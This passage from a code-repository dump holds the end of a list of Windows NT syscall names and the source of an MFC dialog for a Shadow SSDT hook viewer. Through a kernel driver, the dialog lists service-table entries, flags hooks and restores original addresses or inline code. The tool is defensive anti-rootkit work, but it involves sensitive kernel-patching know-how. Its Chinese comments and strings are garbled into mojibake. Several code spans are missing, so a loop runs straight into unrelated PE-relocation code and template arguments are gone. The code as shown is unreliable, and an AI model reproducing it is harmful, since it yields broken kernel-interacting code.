"\t\t\r\n\t,\"NtCreateEventPair\"\t\t\r\n\t,\"NtCreateIoCompletion\"\t\t\r\n\t,\"NtCreateJobObject\"\t\t\r\n\t,\"NtCreateJobSet\"\t\t\r\n\t,\"NtCreateKeyTransacted\"\t\t\r\n\t,\"NtCreateKeyedEvent\"\t\t\r\n\t,\"NtCreateMailslotFile\"\t\t\r\n\t,\"NtCreateMutant\"\t\t\r\n\t,\"NtCreateNamedPipeFile\"\t\t\r\n\t,\"NtCreatePagingFile\"\t\t\r\n\t,\"NtCreatePort\"\t\t\r\n\t,\"NtCreatePrivateNamespace\"\t\t\r\n\t,\"NtCreateProcess\"\t\t\r\n\t,\"NtCreateProfile\"\t\t\r\n\t,\"NtCreateProfileEx\"\t\t\r\n\t,\"NtCreateResourceManager\"\t\t\r\n\t,\"NtCreateSemaphore\"\t\t\r\n\t,\"NtCreateSymbolicLinkObject\"\t\t\r\n\t,\"NtCreateThreadEx\"\t\t\r\n\t,\"NtCreateTimer\"\t\t\r\n\t,\"NtCreateToken\"\t\t\r\n\t,\"NtCreateTransaction\"\t\t\r\n\t,\"NtCreateTransactionManager\"\t\t\r\n\t,\"NtCreateUserProcess\"\t\t\r\n\t,\"NtCreateWaitablePort\"\t\t\r\n\t,\"NtCreateWorkerFactory\"\t\t\r\n\t,\"NtDebugActiveProcess\"\t\t\r\n\t,\"NtDebugContinue\"\t\t\r\n\t,\"NtDeleteAtom\"\t\t\r\n\t,\"NtDeleteBootEntry\"\t\t\r\n\t,\"NtDeleteDriverEntry\"\t\t\r\n\t,\"NtDeleteFile\"\t\t\r\n\t,\"NtDeleteKey\"\t\t\r\n\t,\"NtDeleteObjectAuditAlarm\"\t\t\r\n\t,\"NtDeletePrivateNamespace\"\t\t\r\n\t,\"NtDeleteValueKey\"\t\t\r\n\t,\"NtDisableLastKnownGood\"\t\t\r\n\t,\"NtDisplayString\"\t\t\r\n\t,\"NtDrawText\"\t\t\r\n\t,\"NtEnableLastKnownGood\"\t\r\n\t,\"NtEnumerateBootEntries\"\t\t\r\n\t,\"NtEnumerateDriverEntries\"\t\t\r\n\t,\"NtEnumerateSystemEnvironmentValuesEx\"\t\t\r\n\t,\"NtEnumerateTransactionObject\"\t\t\r\n\t,\"NtExtendSection\"\t\t\r\n\t,\"NtFilterToken\"\t\t\r\n\t,\"NtFlushInstallUILanguage\"\t\t\r\n\t,\"NtFlushInstructionCache\"\t\t\r\n\t,\"NtFlushKey\"\t\t\r\n\t,\"NtFlushProcessWriteBuffers\"\t\t\r\n\t,\"NtFlushVirtualMemory\"\t\t\r\n\t,\"NtFlushWriteBuffer\"\t\t\r\n\t,\"NtFreeUserPhysicalPages\"\t\t\r\n\t,\"NtFreezeRegistry\"\t\t\r\n\t,\"NtFreezeTransactions\"\t\t\r\n\t,\"NtGetContextThread\"\t\t\r\n\t,\"NtGetCurrentProcessorNumber\"\t\t\r\n\t,\"NtGetDevicePowerState\"\t\t\r\n\t,\"NtGetMUIRegistryInfo\"\t\t\r\n\t,\"NtGetNextProcess\"\t\t\r\n\t,\"NtGetNextThread\"\t\t\r\n\t,\"NtGetNlsSectionPtr\"\t\t\r\n\t,\"NtGetNotificationResourceManager\"\t\t\r\n\t,\"NtGetPlugPlayEvent\"\t\t\r\n\t,\"NtGetWriteWatch\"\t\t\r\n\t,\"NtImpersonateAnonymousToken\"\t\r\n\t,\"NtImpersonateThread\"\t\t\r\n\t,\"NtInitializeNlsFiles\"\t\t\r\n\t,\"NtInitializeRegistry\"\t\t\r\n\t,\"NtInitiatePowerAction\"\t\t\r\n\t,\"NtIsSystemResumeAutomatic\"\t\t\r\n\t,\"NtIsUILanguageComitted\"\t\t\r\n\t,\"NtListenPort\"\t\t\r\n\t,\"NtLoadDriver\"\t\t\r\n\t,\"NtLoadKey\"\t\t\r\n\t,\"NtLoadKey2\"\t\t\r\n\t,\"NtLoadKeyEx\"\t\t\r\n\t,\"NtLockFile\"\t\t\r\n\t,\"NtLockProductActivationKeys\"\t\t\r\n\t,\"NtLockRegistryKey\"\t\t\r\n\t,\"NtLockVirtualMemory\"\t\t\r\n\t,\"NtMakePermanentObject\"\t\t\r\n\t,\"NtMakeTemporaryObject\"\t\t\r\n\t,\"NtMapCMFModule\"\t\t\r\n\t,\"NtMapUserPhysicalPages\"\t\t\r\n\t,\"NtModifyBootEntry\"\t\t\r\n\t,\"NtModifyDriverEntry\"\t\t\r\n\t,\"NtNotifyChangeDirectoryFile\"\t\t\r\n\t,\"NtNotifyChangeKey\"\t\t\r\n\t,\"NtNotifyChangeMultipleKeys\"\t\t\r\n\t,\"NtNotifyChangeSession\"\t\r\n\t,\"NtOpenEnlistment\"\t\t\r\n\t,\"NtOpenEventPair\"\t\t\r\n\t,\"NtOpenIoCompletion\"\t\t\r\n\t,\"NtOpenJobObject\"\t\t\r\n\t,\"NtOpenKeyEx\"\t\t\r\n\t,\"NtOpenKeyTransacted\"\t\t\r\n\t,\"NtOpenKeyTransactedEx\"\t\t\r\n\t,\"NtOpenKeyedEvent\"\t\t\r\n\t,\"NtOpenMutant\"\t\t\r\n\t,\"NtOpenObjectAuditAlarm\"\t\t\r\n\t,\"NtOpenPrivateNamespace\"\t\t\r\n\t,\"NtOpenProcessToken\"\t\t\r\n\t,\"NtOpenResourceManager\"\t\t\r\n\t,\"NtOpenSemaphore\"\t\t\r\n\t,\"NtOpenSession\"\t\t\r\n\t,\"NtOpenSymbolicLinkObject\"\t\t\r\n\t,\"NtOpenThread\"\t\t\r\n\t,\"NtOpenTimer\"\t\t\r\n\t,\"NtOpenTransaction\"\t\t\r\n\t,\"NtOpenTransactionManager\"\t\t\r\n\t,\"NtPlugPlayControl\"\t\t\r\n\t,\"NtPrePrepareComplete\"\t\t\r\n\t,\"NtPrePrepareEnlistment\"\t\t\r\n\t,\"NtPrepareComplete\"\t\t\r\n\t,\"NtPrepareEnlistment\"\t\t\r\n\t,\"NtPrivilegeCheck\"\t\t\r\n\t,\"NtPrivilegeObjectAuditAlarm\"\t\t\r\n\t,\"NtPrivilegedServiceAuditAlarm\"\t\t\r\n\t,\"NtPropagationComplete\"\t\t\r\n\t,\"NtPropagationFailed\"\t\t\r\n\t,\"NtPulseEvent\"\t\t\r\n\t,\"NtQueryBootEntryOrder\"\t\t\r\n\t,\"NtQueryBootOptions\"\t\t\r\n\t,\"NtQueryDebugFilterState\"\t\t\r\n\t,\"NtQueryDirectoryObject\"\t\t\r\n\t,\"NtQueryDriverEntryOrder\"\t\t\r\n\t,\"NtQueryEaFile\"\t\t\r\n\t,\"NtQueryFullAttributesFile\"\t\t\r\n\t,\"NtQueryInformationAtom\"\t\t\r\n\t,\"NtQueryInformationEnlistment\"\t\t\r\n\t,\"NtQueryInformationJobObject\"\t\t\r\n\t,\"NtQueryInformationPort\"\t\t\r\n\t,\"NtQueryInformationResourceManager\"\t\t\r\n\t,\"NtQueryInformationTransaction\"\t\r\n\t,\"NtQueryInformationTransactionManager\"\t\t\r\n\t,\"NtQueryInformationWorkerFactory\"\t\t\r\n\t,\"NtQueryInstallUILanguage\"\t\t\r\n\t,\"NtQueryIntervalProfile\"\t\t\r\n\t,\"NtQueryIoCompletion\"\t\t\r\n\t,\"NtQueryLicenseValue\"\t\t\r\n\t,\"NtQueryMultipleValueKey\"\t\t\r\n\t,\"NtQueryMutant\"\t\t\r\n\t,\"NtQueryOpenSubKeys\"\t\t\r\n\t,\"NtQueryOpenSubKeysEx\"\t\t\r\n\t,\"NtQueryPortInformationProcess\"\t\r\n\t,\"NtQueryQuotaInformationFile\"\t\t\r\n\t,\"NtQuerySecurityAttributesToken\"\t\t\r\n\t,\"NtQuerySecurityObject\"\t\t\r\n\t,\"NtQuerySemaphore\"\t\t\r\n\t,\"NtQuerySymbolicLinkObject\"\t\t\r\n\t,\"NtQuerySystemEnvironmentValue\"\t\t\r\n\t,\"NtQuerySystemEnvironmentValueEx\"\t\t\r\n\t,\"NtQuerySystemInformationEx\"\t\t\r\n\t,\"NtQueryTimerResolution\"\t\t\r\n\t,\"NtQueueApcThreadEx\"\t\t\r\n\t,\"NtRaiseException\"\t\r\n\t,\"NtRaiseHardError\"\t\t\r\n\t,\"NtReadOnlyEnlistment\"\t\r\n\t,\"NtRecoverEnlistment\"\t\t\r\n\t,\"NtRecoverResourceManager\"\t\t\r\n\t,\"NtRecoverTransactionManager\"\t\t\r\n\t,\"NtRegisterProtocolAddressInformation\"\t\t\r\n\t,\"NtRegisterThreadTerminatePort\"\t\t\r\n\t,\"NtReleaseKeyedEvent\"\t\t\r\n\t,\"NtReleaseWorkerFactoryWorker\"\t\t\r\n\t,\"NtRemoveIoCompletionEx\"\t\t\r\n\t,\"NtRemoveProcessDebug\"\t\t\r\n\t,\"NtRenameKey\"\t\t\r\n\t,\"NtRenameTransactionManager\"\t\t\r\n\t,\"NtReplaceKey\"\t\t\r\n\t,\"NtReplacePartitionUnit\"\t\t\r\n\t,\"NtReplyWaitReplyPort\"\t\t\r\n\t,\"NtRequestPort\"\t\r\n\t,\"NtResetEvent\"\t\t\r\n\t,\"NtResetWriteWatch\"\t\t\r\n\t,\"NtRestoreKey\"\t\t\r\n\t,\"NtResumeProcess\"\t\t\r\n\t,\"NtRollbackComplete\"\t\t\r\n\t,\"NtRollbackEnlistment\"\t\t\r\n\t,\"NtRollbackTransaction\"\t\r\n\t,\"NtRollforwardTransactionManager\"\t\t\r\n\t,\"NtSaveKey\"\t\t\r\n\t,\"NtSaveKeyEx\"\t\t\r\n\t,\"NtSaveMergedKeys\"\t\t\r\n\t,\"NtSecureConnectPort\"\t\t\r\n\t,\"NtSerializeBoot\"\t\t\r\n\t,\"NtSetBootEntryOrder\"\t\t\r\n\t,\"NtSetBootOptions\"\t\t\r\n\t,\"NtSetContextThread\"\t\t\r\n\t,\"NtSetDebugFilterState\"\t\t\r\n\t,\"NtSetDefaultHardErrorPort\"\t\t\r\n\t,\"NtSetDefaultLocale\"\t\t\r\n\t,\"NtSetDefaultUILanguage\"\t\t\r\n\t,\"NtSetDriverEntryOrder\"\t\t\r\n\t,\"NtSetEaFile\"\t\t\r\n\t,\"NtSetHighEventPair\"\t\t\r\n\t,\"NtSetHighWaitLowEventPair\"\t\t\r\n\t,\"NtSetInformationDebugObject\"\t\r\n\t,\"NtSetInformationEnlistment\"\t\t\r\n\t,\"NtSetInformationJobObject\"\t\t\r\n\t,\"NtSetInformationKey\"\t\t\r\n\t,\"NtSetInformationResourceManager\"\t\t\r\n\t,\"NtSetInformationToken\"\t\r\n\t,\"NtSetInformationTransaction\"\t\t\r\n\t,\"NtSetInformationTransactionManager\"\t\t\r\n\t,\"NtSetInformationWorkerFactory\"\t\t\r\n\t,\"NtSetIntervalProfile\"\t\t\r\n\t,\"NtSetIoCompletion\"\t\t\r\n\t,\"NtSetIoCompletionEx\"\t\t\r\n\t,\"NtSetLdtEntries\"\t\t\r\n\t,\"NtSetLowEventPair\"\t\t\r\n\t,\"NtSetLowWaitHighEventPair\"\t\t\r\n\t,\"NtSetQuotaInformationFile\"\t\t\r\n\t,\"NtSetSecurityObject\"\t\t\r\n\t,\"NtSetSystemEnvironmentValue\"\t\t\r\n\t,\"NtSetSystemEnvironmentValueEx\"\t\t\r\n\t,\"NtSetSystemInformation\"\t\t\r\n\t,\"NtSetSystemPowerState\"\t\r\n\t,\"NtSetSystemTime\"\t\t\r\n\t,\"NtSetThreadExecutionState\"\t\t\r\n\t,\"NtSetTimerEx\"\t\t\r\n\t,\"NtSetTimerResolution\"\t\t\r\n\t,\"NtSetUuidSeed\"\t\t\r\n\t,\"NtSetVolumeInformationFile\"\t\t\r\n\t,\"NtShutdownSystem\"\t\t\r\n\t,\"NtShutdownWorkerFactory\"\t\t\r\n\t,\"NtSignalAndWaitForSingleObject\"\t\t\r\n\t,\"NtSinglePhaseReject\"\t\t\r\n\t,\"NtStartProfile\"\t\t\r\n\t,\"NtStopProfile\"\t\t\r\n\t,\"NtSuspendProcess\"\t\t\r\n\t,\"NtSuspendThread\"\t\t\r\n\t,\"NtSystemDebugControl\"\t\t\r\n\t,\"NtTerminateJobObject\"\t\t\r\n\t,\"NtTestAlert\"\t\t\r\n\t,\"NtThawRegistry\"\t\t\r\n\t,\"NtThawTransactions\"\t\t\r\n\t,\"NtTraceControl\"\t\t\r\n\t,\"NtTranslateFilePath\"\t\t\r\n\t,\"NtUmsThreadYield\"\t\t\r\n\t,\"NtUnloadDriver\"\t\t\r\n\t,\"NtUnloadKey\"\t\t\r\n\t,\"NtUnloadKey2\"\t\t\r\n\t,\"NtUnloadKeyEx\"\t\t\r\n\t,\"NtUnlockFile\"\t\t\r\n\t,\"NtUnlockVirtualMemory\"\t\t\r\n\t,\"NtVdmControl\"\t\t\r\n\t,\"NtWaitForDebugEvent\"\t\t\r\n\t,\"NtWaitForKeyedEvent\"\t\t\r\n\t,\"NtWaitForWorkViaWorkerFactory\"\t\r\n\t,\"NtWaitHighEventPair\"\t\t\r\n\t,\"NtWaitLowEventPair\"\t\t\r\n\t,\"NtWorkerFactoryWorkerReady\"\t\t\r\n};\r\n\r\n" }, { "path": "SSDT-SSSDT-Manager/EnumSSSDTManager/EnumSSSDTManager/SSSDT.cpp", "content": "// SSSDT.cpp : ʵļ\r\n//\r\n\r\n#include \"stdafx.h\"\r\n#include \"EnumSSSDTManager.h\"\r\n#include \"SSSDT.h\"\r\n#include \"SSSDTFunc.h\"\r\n#include \"afxdialogex.h\"\r\n\r\n\r\n// CSSSDT Ի\r\n\r\n\r\nHANDLE g_hDeviceSSS = NULL;\r\nSSSDT_INFOR SSSDTInfor[0x1000] = {0};\r\nIMPLEMENT_DYNAMIC(CSSSDT, CDialogEx)\r\n\r\nCSSSDT::CSSSDT(CWnd* pParent /*=NULL*/)\r\n\t: CDialogEx(CSSSDT::IDD, pParent)\r\n\t, m_Num2(0)\r\n{\r\n\tm_ServiceTable = 0;\r\n\tm_ServiceTableBase = 0;\r\n\tm_Win32kModuleBase = 0 ;\r\n\tm_TempWin32kModuleBase = 0;\r\n\tm_bOk = FALSE;\r\n\tm_ShowHook = FALSE;\r\n\tmemset(m_CurrentFunctionCode,0,CODE_LENGTH);\r\n}\r\n\r\nCSSSDT::~CSSSDT()\r\n{\r\n}\r\n\r\nvoid CSSSDT::DoDataExchange(CDataExchange* pDX)\r\n{\r\n\tCDialogEx::DoDataExchange(pDX);\r\n\tDDX_Control(pDX, IDC_LIST_SSSDT, m_ControlListSSSDTInfor);\r\n\tDDX_Text(pDX, IDC_EDIT_NUM2, m_Num2);\r\n}\r\n\r\n\r\nBEGIN_MESSAGE_MAP(CSSSDT, CDialogEx)\r\n\tON_BN_CLICKED(IDC_BUTTON_SSSDT, &CSSSDT::OnBnClickedButtonSssdt)\r\n\tON_COMMAND(ID_RESUME_RESUMESSD, &CSSSDT::OnResumeResumessd)\r\n\tON_NOTIFY(NM_RCLICK, IDC_LIST_SSSDT, &CSSSDT::OnRclickListSssdt)\r\n\tON_COMMAND(ID_RESUME_SHOWHOOK, &CSSSDT::OnResumeShowhook)\r\n\tON_UPDATE_COMMAND_UI(IDR_MENU, &CSSSDT::OnUpdateIdrMenu)\r\n\tON_COMMAND(ID_RESUME_RESUMEINLINEHOOK, &CSSSDT::OnResumeResumeinlinehook)\r\nEND_MESSAGE_MAP()\r\n\r\n\r\n// CSSSDT Ϣ\r\n\r\n\r\n\r\n\r\n//ʼList Control\r\nBOOL CSSSDT::OnInitDialog()\r\n{\r\n\tCDialogEx::OnInitDialog();\r\n\r\n\t// TODO: ڴӶijʼ\r\n\r\n\tm_ControlListSSSDTInfor.SetExtendedStyle(LVS_EX_FULLROWSELECT);\r\n\tm_ControlListSSSDTInfor.InsertColumn(0, L\"\", LVCFMT_LEFT, 100);\r\n\tm_ControlListSSSDTInfor.InsertColumn(1, L\"\", LVCFMT_LEFT, 200);\r\n\tm_ControlListSSSDTInfor.InsertColumn(2, L\"ǰַ\", LVCFMT_LEFT, 100);\r\n\tm_ControlListSSSDTInfor.InsertColumn(3, L\"״̬\",LVCFMT_LEFT,80);\r\n\tm_ControlListSSSDTInfor.InsertColumn(4, L\"ԭʼַ\", LVCFMT_LEFT, 100);\r\n\tm_ControlListSSSDTInfor.InsertColumn(5, L\"ǰַģ\",LVCFMT_LEFT,300);\r\n\t\r\n\treturn TRUE; // return TRUE unless you set the focus to a control\r\n\t// 쳣: OCX ҳӦ FALSE\r\n}\r\n\r\n\r\nvoid CSSSDT::OnBnClickedButtonSssdt()\r\n{\r\n\t// TODO: ڴӿؼ֪ͨ\r\n\tOpenDeviceCommon.g_hDevice = OpenDeviceCommon.OpenDevice(L\"\\\\\\\\.\\\\SSSDTManagerLink\");\r\n\tif (OpenDeviceCommon.g_hDevice==(HANDLE)-1)\r\n\t{\r\n\t\tMessageBox(L\"豸ʧ\");\r\n\r\n\t\treturn;\r\n\t}\r\n\r\n\tif(OpenDeviceCommon.SendIoControlCode(0,NULL,INITIALIZE)==FALSE)//Ring0KeServiceDescriptorTableShadowַ\r\n\t{\r\n\t\tCloseHandle(OpenDeviceCommon.g_hDevice);\r\n\t\treturn;\r\n\t}\r\n\r\n\r\n\tEnumSSSDTInfor(SSSDTInfor);\r\n\t\r\n\tCloseHandle(OpenDeviceCommon.g_hDevice);\r\n}\r\n\r\n\r\nBOOL CSSSDT::EnumSSSDTInfor(PSSSDT_INFOR SSSDTInfor)\r\n{\r\n\tm_ControlListSSSDTInfor.DeleteAllItems();\r\n\tULONG_PTR SSSDTFunctionCount = 0;\r\n\tULONG_PTR HookedFunctionCount = 0;\r\n\r\n\r\n\tPVOID SSSDTOriAddr = 0;\r\n\tPVOID CurrentFunctionAddress = 0;\r\n\tPVOID OriginalFunctionAddress = 0;\r\n\tWCHAR wzModuleName[60]= {0};\r\n\r\n\tint i = 0;\r\n#ifdef _WIN64\r\n\r\n\r\n\r\n\tfor (i=0;ie_magic != IMAGE_DOS_SIGNATURE)\r\n\t{\r\n\t\treturn 0;\r\n\t}\r\n\tNtHeader = (PIMAGE_NT_HEADERS)((ULONG_PTR)NewModuleBase + DosHeader->e_lfanew );\r\n\tif (NtHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].Size)//Ƿضλ\r\n\t{\r\n\t\tRelocTable=(PIMAGE_BASE_RELOCATION)((ULONG_PTR)NewModuleBase + NtHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].VirtualAddress);\r\n\t\tdo\r\n\t\t{\r\n\t\t\t//RelocTable->SizeOfBlock һĴС\r\n\t\t\tULONG\tulNumOfReloc = (RelocTable->SizeOfBlock-sizeof(IMAGE_BASE_RELOCATION))/2; //ضĸ Short\r\n\t\t\tSHORT\tMiniOffset = 0;\r\n\t\t\tPUSHORT RelocData = (PUSHORT)((ULONG_PTR)RelocTable+sizeof(IMAGE_BASE_RELOCATION)); //ض\r\n\t\t\tfor (i=0; i>12)==IMAGE_REL_BASED_DIR64||((*RelocData)>>12)==IMAGE_REL_BASED_HIGHLOW)//жضλǷΪIMAGE_REL_BASED_HIGHLOW[32]IMAGE_REL_BASED_DIR64[64]\r\n\t\t\t\t{\r\n\r\n\t\t\t\t\tMiniOffset=(*RelocData)&0xFFF;//Сƫ //ȡ12\r\n\r\n\t\t\t\t\tRelocAddress=(PULONG_PTR)(NewModuleBase+RelocTable->VirtualAddress+MiniOffset);\r\n\r\n\t\t\t\t\tVirtualProtect((PVOID)RelocAddress,sizeof(ULONG_PTR),PAGE_EXECUTE_READWRITE, &dwOldProtect);\r\n\r\n\t\t\t\t\t*RelocAddress=*RelocAddress+OriginalModuleBase-NtHeader->OptionalHeader.ImageBase;\r\n\r\n\t\t\t\t\tVirtualProtect((PVOID)RelocAddress, sizeof(ULONG_PTR),dwOldProtect,&dwOldProtect);\r\n\t\t\t\t}\r\n\t\t\t\t//һضλ\r\n\t\t\t\tRelocData++;\r\n\t\t\t}\r\n\t\t\t//һضλ\r\n\t\t\tRelocTable=(PIMAGE_BASE_RELOCATION)((ULONG_PTR)RelocTable+RelocTable->SizeOfBlock);\r\n\t\t}\r\n\t\twhile (RelocTable->VirtualAddress);\r\n\t\treturn TRUE;\r\n\t}\r\n\treturn FALSE;\r\n}\r\n\r\nBOOL CSSSDT::SendIoControlCode(ULONG ulIndex,PVOID* FuntionAddress,ULONG_PTR ulControlCode,WCHAR* wzSysModuleName)\r\n{\r\n\r\n\tBOOL bRet = FALSE;\r\n\tDWORD ulReturnSize = 0;\r\n\r\n\tg_hDeviceSSS = OpenDevice(L\"\\\\\\\\.\\\\SSSDTManagerLink\");\r\n\r\n\tif (g_hDeviceSSS==(HANDLE)-1)\r\n\t{\r\n\t\tMessageBox(L\"豸ʧ\");\r\n\r\n\t\treturn FALSE;\r\n\t}\r\n\tif (ulControlCode==GET_SSSDT_SERVERICE_BASE)\r\n\t{\r\n\t\tbRet = DeviceIoControl(g_hDeviceSSS,IOCTL_GET_SSSDT_SERVERICE_BASE,\r\n\t\t\tNULL,\r\n\t\t\t0,\r\n\t\t\t&m_ServiceTableBase,\r\n\t\t\tsizeof(PVOID),\r\n\t\t\t&ulReturnSize,\r\n\t\t\tNULL);\r\n\r\n\t}\r\n\r\n\tif (ulControlCode==GET_SYS_MODULE_INFOR) \r\n\t{\r\n\t\tstruct _DATA_ \r\n\t\t{\r\n\t\t\tPVOID SysModuleBase;\r\n\t\t\tULONG_PTR ulSysModuleSize;\r\n\t\t}Data;\r\n\r\n\t\tmemset(&Data,0,sizeof(Data));\r\n\t\tbRet = DeviceIoControl(g_hDeviceSSS,CTL_GET_SYS_MODULE_INFOR,\r\n\t\t\twzSysModuleName,\r\n\t\t\tMODULE_LENGTH,\r\n\t\t\t&Data,\r\n\t\t\tsizeof(Data),\r\n\t\t\t&ulReturnSize,\r\n\t\t\tNULL);\r\n\t\tm_Win32kModuleBase = Data.SysModuleBase;\r\n\r\n\t}\r\n\tif(ulControlCode==GET_MODULE_NAME)\r\n\t{\r\n\t\tstruct _DATA_\r\n\t\t{\r\n\t\t\tPVOID OriginalAddress;\r\n\t\t}Data;\r\n\t\tmemset(&Data,0,sizeof(_DATA_));\r\n\t\tData.OriginalAddress = *FuntionAddress;\r\n\t\r\n\t//\tCString strOriginalAddress;\r\n\t\t//strOriginalAddress.Format(L\"0x%p\",*FuntionAddress);\r\n \t\t//MessageBox(strOriginalAddress,L\"OriginalAddress\");\r\n\t\r\n\t\tbRet = DeviceIoControl(g_hDeviceSSS,IOCTL_GET_MODULENAME,\r\n\t\t\t&Data,\r\n\t\t\tsizeof(_DATA_),\r\n\t\t\twzSysModuleName,\r\n\t\t\t60*sizeof(WCHAR),\r\n\t\t\t&ulReturnSize,\r\n\t\t\tNULL);\r\n\t}\r\n\tif (ulControlCode==GET_SSSDT_CURRENT_FUNC_CODE)\r\n\t{\r\n\t\t\r\n\t\tbRet = DeviceIoControl(g_hDeviceSSS,IOCTL_GET_SSSDT_CURRENT_FUNC_CODE,\r\n\t\t\t&ulIndex,\r\n\t\t\tsizeof(ULONG),\r\n\t\t\t&m_CurrentFunctionCode,\r\n\t\t\tCODE_LENGTH,\r\n\t\t\t&ulReturnSize,\r\n\t\t\tNULL);\r\n\t\t\r\n\t}\r\n\r\n\tCloseHandle(g_hDeviceSSS);\r\n\treturn bRet;\r\n}\r\n\r\nvoid CSSSDT::OnResumeResumessd()\r\n{\r\n\t// TODO: ڴ\r\n\tBOOL bRet = FALSE;\r\n\r\n\r\n\tint iSelect = m_ControlListSSSDTInfor.GetSelectionMark( ); //ѡ\r\n\tCString Address = m_ControlListSSSDTInfor.GetItemText(iSelect,4); //ͨѡе0IP\r\n\tCString Index = m_ControlListSSSDTInfor.GetItemText(iSelect,0);\r\n\tg_hDeviceSSS = OpenDevice(L\"\\\\\\\\.\\\\SSSDTManagerLink\");\r\n\r\n\tif (g_hDeviceSSS==(HANDLE)-1)\r\n\t{\r\n\t\tMessageBox(L\"豸ʧ\");\r\n\r\n\t\treturn;\r\n\t}\r\n\tstruct _DATA_\r\n\t{\r\n\t\tULONG Index;\r\n\t\tULONG_PTR OriginalAddress;\r\n\t}Data;\r\n\r\n\tswscanf(Address.GetBuffer()+2,L\"%p\",&Data.OriginalAddress); //0x\r\n\tswscanf(Index.GetBuffer(),L\"%d\",&Data.Index); //0x\r\n\r\n\tDWORD ulReturnSize = 0;\r\n\r\n\r\n\tbRet = DeviceIoControl(g_hDeviceSSS,IOCTL_UNHOOK_SSSDT,\r\n\t\t&Data,\r\n\t\tsizeof(_DATA_),\r\n\t\tNULL,\r\n\t\tNULL,\r\n\t\t&ulReturnSize,\r\n\t\tNULL);\r\n\r\n\r\n\t\tif (bRet==FALSE)\r\n\t\t{\r\n\t\t\treturn;\r\n\t\t}\r\n\r\n\r\n\tCloseHandle(g_hDeviceSSS);\r\n\tOnBnClickedButtonSssdt();\r\n\r\n}\r\n\r\nvoid CSSSDT::OnResumeResumeinlinehook()\r\n{\r\n\t// TODO: ڴ\r\n\tBOOL bRet = FALSE;\r\n\tDWORD ulReturnSize = 0;\r\n\r\n\tg_hDeviceSSS = OpenDevice(L\"\\\\\\\\.\\\\SSSDTManagerLink\");\r\n\r\n\tif (g_hDeviceSSS==(HANDLE)-1)\r\n\t{\r\n\t\tMessageBox(L\"豸ʧ\");\r\n\r\n\t\treturn;\r\n\t}\r\n\tint iSelect = m_ControlListSSSDTInfor.GetSelectionMark( ); //ѡ\r\n\r\n\tCString Index = m_ControlListSSSDTInfor.GetItemText(iSelect,0);\r\n\r\n\t\r\n\r\n\t\tstruct _DATA_ \r\n\t\t{\r\n\t\t\tULONG ulIndex;\r\n\t\t\tUCHAR szOriginalFunctionCode[CODE_LENGTH];\r\n\t\t};\r\n\r\n\t\t_DATA_ Data = {0};\r\n\r\n\t\t\r\n\t\tswscanf(Index.GetBuffer(),L\"%d\",&Data.ulIndex); //0x\r\n// \t\tCString a;\r\n// \t\ta.Format(L\"%d\",iItem);\r\n// \t\tMessageBox(a,L\"dddddd\");\r\n\t\tmemcpy(Data.szOriginalFunctionCode,SSSDTInfor[Data.ulIndex].szOriginalFunctionCode,CODE_LENGTH);\r\n\t\tbRet = DeviceIoControl(g_hDeviceSSS,IOCTL_RESUME_SSSDT_INLINEHOOK,\r\n\t\t\t&Data,\r\n\t\t\tsizeof(_DATA_),\r\n\t\t\tNULL,\r\n\t\t\tNULL,\r\n\t\t\t&ulReturnSize,\r\n\t\t\tNULL);\r\n\t\r\n\tCloseHandle(g_hDeviceSSS);\r\n\tOnBnClickedButtonSssdt();\r\n\r\n\t\r\n}\r\n\r\n\r\n\r\nvoid CSSSDT::OnRclickListSssdt(NMHDR *pNMHDR, LRESULT *pResult)\r\n{\r\n\tLPNMITEMACTIVATE pNMItemActivate = reinterpret_cast(pNMHDR);\r\n\t// TODO: ڴӿؼ֪ͨ\r\n\t//GetMenu()->GetSubMenu(0)->CheckMenuItem(0,MF_BYCOMMAND | MF_CHECKED);\r\n\tint i = 0;\r\n\tCMenu\tpopup;\r\n\tpopup.LoadMenu(IDR_MENU); //ز˵Դ\r\n\tCMenu*\tpM = popup.GetSubMenu(0); //ò˵\r\n\tCPoint\tp;\r\n\tGetCursorPos(&p);\r\n\tint\tcount = pM->GetMenuItemCount();\r\n\tif (m_ControlListSSSDTInfor.GetSelectedCount() == 0) //ûѡ\r\n\t{ \r\n\t\tfor (int i = 0;iEnableMenuItem(i, MF_BYPOSITION | MF_DISABLED | MF_GRAYED); //˵ȫ\r\n\t\t}\r\n\r\n\t}else\r\n\t{\r\n\t\tPOSITION Pos = m_ControlListSSSDTInfor.GetFirstSelectedItemPosition(); \r\n\t\tint iItem = m_ControlListSSSDTInfor.GetNextSelectedItem(Pos); \r\n\t\ti = m_ControlListSSSDTInfor.GetItemData(iItem); \r\n\t\tif(i==1)\r\n\t\t{\r\n\t\t\tpM->EnableMenuItem(1, MF_BYPOSITION | MF_DISABLED | MF_GRAYED); //ڴɫ\r\n\t\t}\r\n\t\tif(i==2)\r\n\t\t{\r\n\t\t\tpM->EnableMenuItem(0, MF_BYPOSITION | MF_DISABLED | MF_GRAYED); //ڴɫ\r\n\t\t}\r\n\t\tif(i==0)\r\n\t\t{\r\n\t\t\tpM->EnableMenuItem(0, MF_BYPOSITION | MF_DISABLED | MF_GRAYED); //ڴɫ\r\n\t\t\tpM->EnableMenuItem(1, MF_BYPOSITION | MF_DISABLED | MF_GRAYED); //ڴɫ\r\n\t\t}\r\n\r\n\t}\r\n\r\n\t\r\n\tpM->TrackPopupMenu(TPM_LEFTALIGN, p.x, p.y, this);\r\n\t*pResult = 0;\r\n}\r\n\r\n\r\nvoid CSSSDT::OnResumeShowhook()\r\n{\r\n\t// TODO: ڴ\r\n\tif(m_ShowHook==FALSE)\r\n\t{\r\n\t\t\r\n\t\t//GetMenu()->GetSubMenu(0)->CheckMenuItem(ID_RESUME_SHOWHOOK,MF_BYCOMMAND | MF_CHECKED);\r\n\t//\tMessageBox(L\"aaaaaaaa\",L\"ddd1\");\r\n\t\tm_ShowHook=TRUE;\r\n\t\tOnBnClickedButtonSssdt();\r\n\t\treturn;\r\n\t\t\r\n\t}\r\n\tif(m_ShowHook==TRUE)\r\n\t{\r\n\t//\tMessageBox(L\"bnbbbbbbb\",L\"ddd\");\r\n\t\t//\tGetMenu()->GetSubMenu(0)->CheckMenuItem(ID_RESUME_SHOWHOOK,MF_BYCOMMAND | MF_UNCHECKED);\r\n\t//\tGetMenu()->GetSubMenu(0)->CheckMenuItem(2,MF_BYPOSITION | MF_UNCHECKED); 